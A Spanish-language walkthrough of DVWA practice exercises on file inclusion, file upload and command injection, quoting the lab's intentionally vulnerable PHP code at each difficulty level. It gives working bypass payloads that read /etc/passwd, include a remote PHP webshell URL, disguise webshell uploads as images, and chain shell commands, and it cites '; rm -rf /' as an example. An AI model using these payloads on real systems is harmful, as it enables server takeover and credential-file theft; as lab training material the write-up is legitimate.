Feedback for the user $return_message = "Password Changed."; } else { // Issue with passwords matching $return_message = "Passwords did not match."; } mysqli_close($GLOBALS["___mysqli_ston"]); if ($request_type == "json") { generateSessionToken(); header ("Content-Type: application/json"); print json_encode (array("Message" =>$return_message)); exit; } else { echo "<pre>" . $return_message . "</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
File Inclusion - Conceptos.
La inclusión de archivos (File Inclusion) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante incluir archivos del sistema en el contexto de la aplicación. Esto puede llevar a la ejecución de código malicioso, divulgación de información sensible o incluso el control total del servidor. La vulnerabilidad se produce cuando una aplicación web no valida adecuadamente las rutas de los archivos proporcionadas por el usuario, permitiendo que se incluyan archivos no autorizados.
Existen dos tipos principales de inclusión de archivos:
- Inclusión de Archivos Local (LFI - Local File Inclusion): Este tipo de ataque permite a un atacante incluir archivos que están presentes en el servidor. Por ejemplo, si una aplicación permite que un usuario especifique un archivo para incluir, un atacante podría manipular la entrada para acceder a archivos sensibles del sistema, como archivos de configuración o contraseñas.
- Inclusión de Archivos Remota (RFI - Remote File Inclusion): En este caso, el atacante puede incluir archivos que están alojados en un servidor remoto. Esto es más peligroso, ya que permite al atacante ejecutar código malicioso que reside en un servidor externo. Para que esto ocurra, la aplicación debe estar configurada para permitir la inclusión de archivos desde URLs externas.
Las consecuencias de un ataque de inclusión de archivos pueden ser graves e incluir la ejecución de código arbitrario, la exposición de datos sensibles, la toma de control del servidor y la posibilidad de comprometer otros sistemas en la red. Para prevenir la inclusión de archivos, es crucial validar y sanitizar todas las entradas del usuario, restringir el acceso a archivos sensibles y deshabilitar la inclusión de archivos remotos siempre que sea posible.
Local File Inclusion.
Para dar como superado el ejercicio deberemos de haber sido capaz de mostrar el contenido del archivo passwd, el cual se suele encontrar en /etc/passwd
Dificultad baja.
Codigo fuente en php:
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
Como se puede apreciar en el codigo, no hay ningún tipo de sanitización, solamente tiene un include, por lo que si añadimos cualquier dato a la URL este archivo sera mostrado, por lo que si añadimos /etc/passwd a la url deberia de mostrar su contenido
/etc/passwd

Dificultad media.
Codigo fuente en php:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\\" ), "", $file ); ?>
Como podemos ver, en este caso la sanitización que se esta aplicando (que nos afecta para un Local File inclusión) es solamente un str_replace de ../ y ..\\, siendo así que no podamos ir marcha atras para buscar archivos, pero si que podremos utilizar rutas absolutas como hemos hecho anteriormente con /etc/passwd
/etc/passwd

Dificultad alta.
Codigo fuente en php:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
Como se puede apreciar, en este caso la sanitización es más elevada, siendo asi que solo se permitan archivos que empiecen por file o que su nombre sea include.php, por lo que si intentamos hacer /etc/passwd como anteriormente no funcionara. Pero si investigamos un poco llegaremos a encontrar File URI scheme, siendo gracias a esto por lo que sabemos si ponemos file:/// cargara el archivo que le indiquemos que este en el host, siendo asi que tenemos que introducir file:///etc/passwd y funcionara.
file:///etc/passwd

Remote File Inclusion.
Para dar como superado el ejercicio deberemos de ser capaces de introducir una url externa, para mayor utilidad, la url que introduzcamos debera ser una websehll, en nuestro caso usaremos Rootshell.v.1.0
Dificultad baja.
Codigo fuente en php:
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
Como hemos visto no hay ningún tipo de proteción, por lo que si añadimos la url directamente funcionara, siendo esta:
https://raw.githubusercontent.com/JohnTroony/php-webshells/refs/heads/master/Collection/Rootshell.v.1.0.php

Dificultad media.
Codigo fuente en php:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\\" ), "", $file ); ?>
Como podemos ver, esta vez si hay una sanitización a la url, (que nos afecta al remote file inclusion), siendo esta un str_replace/b> a las palabras http:// y https://, si miramos la documentación de PHP y buscamos dicha función, podremos ver lo siguiente:

Como podemos ver, no reemplaza las mayusculas, por lo que si cambiamos el https:// por HttPs://, funcionara correctamente siendo la url final esta HttPs://raw.githubusercontent.com/JohnTroony/php-webshells/refs/heads/master/Collection/Rootshell.v.1.0.php
HttPs://raw.githubusercontent.com/JohnTroony/php-webshells/refs/heads/master/Collection/Rootshell.v.1.0.php

En este caso la dificultad alta no es posible de hacerla mediante RFI, ya que está esta diseñada para hacerse con LFI y no RFI.
File Upload conceptos.
La carga de archivos (File Upload) es una funcionalidad común en muchas aplicaciones web que permite a los usuarios subir archivos al servidor. Sin embargo, si no se implementa correctamente, puede convertirse en una vulnerabilidad de seguridad que los atacantes pueden explotar para comprometer el sistema. Esto ocurre cuando una aplicación no valida adecuadamente el tipo, tamaño o contenido de los archivos que se suben, permitiendo que un atacante cargue archivos maliciosos que pueden ejecutar código en el servidor o acceder a datos sensibles.
Existen varios tipos de ataques relacionados con la carga de archivos, entre los que se destacan:
- Carga de Archivos Maliciosos: El atacante sube un archivo que contiene código malicioso, como un script PHP o un archivo ejecutable. Si la aplicación no valida el tipo de archivo, este puede ser ejecutado en el servidor, permitiendo al atacante tomar control del sistema.
- Inyección de Archivos: Este tipo de ataque se produce cuando un atacante sube un archivo que puede ser utilizado para inyectar código en la aplicación. Por ejemplo, un archivo de imagen que contiene código malicioso puede ser procesado por la aplicación, lo que resulta en la ejecución de ese código.
- Denegación de Servicio (DoS): Un atacante puede intentar cargar archivos extremadamente grandes o en gran cantidad, lo que puede agotar los recursos del servidor y provocar que la aplicación se vuelva lenta o se caiga.
Las consecuencias de un ataque de carga de archivos pueden incluir la ejecución de código malicioso, el acceso no autorizado a datos sensibles, la interrupción del servicio y la posibilidad de comprometer la seguridad del servidor. Para prevenir estos ataques, es fundamental validar y sanitizar todos los archivos subidos, restringir los tipos de archivos permitidos, limitar el tamaño de los archivos y almacenar los archivos en un directorio seguro fuera del alcance del servidor web.
File Upload Ejercicios.
Para dar como superado este apartado, deberemos de haber sido capaz de subir una webshell y usar algun comando que proporcione información sensible/privada del servidor, como podria ser cat /etc/passwd
Dificultad baja.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
Tal y como se puede apreciar en el codigo fuente, no hay ningún tipo de sanitización, por lo que si subimos un archivo .php, si vamos a donde se almacena, podremos ejecutarlo, dando asi uso a la web shell que hemos subido.

Dificultad media.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
Como podemos apreciar en el codigo fuente, esta vez hay una sanitización del content/type del archivo, debiendo ser esta image/jpeg o image/png. Para modificar el content/type, deberemos de utilizar herramientas tales, como en mi caso, burpsuite para modificarlo. Por lo que interceptaremos la petición y cambiaremos el content type

Dificultad alta.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
Ademas de la sanitización anterior, se le añade un pequeño resize y que acabe en png o jpg, por lo que ademas de interceptar la petición para cambiarle el content type, le añadiremos .jpeg al final y le añadiremso GIF89a; para evitar el resize, por lo que se subira el archivo sin hacer dicha comprobación.
Una vez hecho lo anterior, deberemos de usar una vulnerabilidad previamente explotada, como seria esta misma en una dificultad más facil o command injection, para poder cambiar el nombre del archivo y quitarle el .jpeg, para que se quede solo el .php y funcione

Command Injection - Conceptos.
La inyección de comandos es una vulnerabilidad de seguridad que permite a un atacante ejecutar comandos arbitrarios en el sistema operativo del servidor a través de una aplicación web. Esto ocurre cuando una aplicación no valida adecuadamente las entradas del usuario y permite que se inserten comandos del sistema en las solicitudes. Si un atacante puede manipular estas entradas, puede ejecutar comandos que comprometan la seguridad del sistema.
Existen varios tipos de ataques relacionados con la inyección de comandos, entre los que se destacan:
- Inyección de Comandos del Sistema: El atacante inserta comandos del sistema operativo en una entrada que la aplicación ejecuta sin validación. Por ejemplo, si una aplicación permite a los usuarios ingresar un nombre de host para hacer un ping, un atacante podría ingresar un comando como `; rm -rf /` para eliminar archivos del servidor.
- Inyección de Comandos en Aplicaciones Web: Este tipo de ataque se produce cuando un atacante puede inyectar comandos en aplicaciones que utilizan sistemas de gestión de bases de datos o servicios de red. Por ejemplo, un atacante podría manipular una consulta SQL para ejecutar comandos del sistema.
- Escalación de Privilegios: Un atacante puede utilizar la inyección de comandos para ejecutar acciones que normalmente estarían restringidas, como acceder a archivos sensibles o ejecutar programas con privilegios elevados, lo que puede comprometer la integridad del sistema.
Las consecuencias de un ataque de inyección de comandos pueden incluir la ejecución de código malicioso, el acceso no autorizado a datos sensibles, la interrupción del servicio y la posibilidad de comprometer la seguridad del servidor. Para prevenir estos ataques, es fundamental validar y sanitizar todas las entradas del usuario, utilizar funciones de escape adecuadas y aplicar el principio de menor privilegio en la ejecución de comandos del sistema.
Command Injection Ejercicios.
Para dar como superado este apartado, deberemos de haber sido capaz de subir una webshell y usar algun comando que proporcione información sensible/privada del servidor, como podria ser cat /etc/passwd
Dificultad baja.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
Siendo en este codigo fuente, el no haber ningún tipo de sanitización, por lo que solamente necesitaremos uno de los muchos caracteres de concatenación u operaciones logicas para utilizar dos comandos en una sola linea en vez de en dos. Por lo que solamente tendremos que añadir & cat /etc/passwd y deberia funcionar
1 & cat /etc/passwd

Dificultad media.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
En este codigo fuente, podemos ver que hay substituciones como & y ;, por lo que no podemos utilizarlos, asi que si realizamos una breve busqueda para encontrar concatenadores de comandos, veremos que hay más aparte de esos dos

Por lo que podriamos usar otros concatenadores como podria ser |, poniendo como entrada 8 | cat /etc/passwd
8 | cat /etcc/passwd

Dificultad alta.
Codigo fuente en php:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '||' => '', '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
En este caso, si miramos el codigo fuente, veremos que están todos o al menos la mayoria de concatenadores de comandos, pero si nos fijamos atentamente, se esta haciendo el remplace a "| ", es decir, al concatenador | pero con un espacio, por lo que si usamos la misma inyección anterior pero sin un espacio despues del |, deberia funcionar, siendo 8 |cat /etc/passwd el comando ha introducir para realizar la inyección
8 |cat /etc/passwd
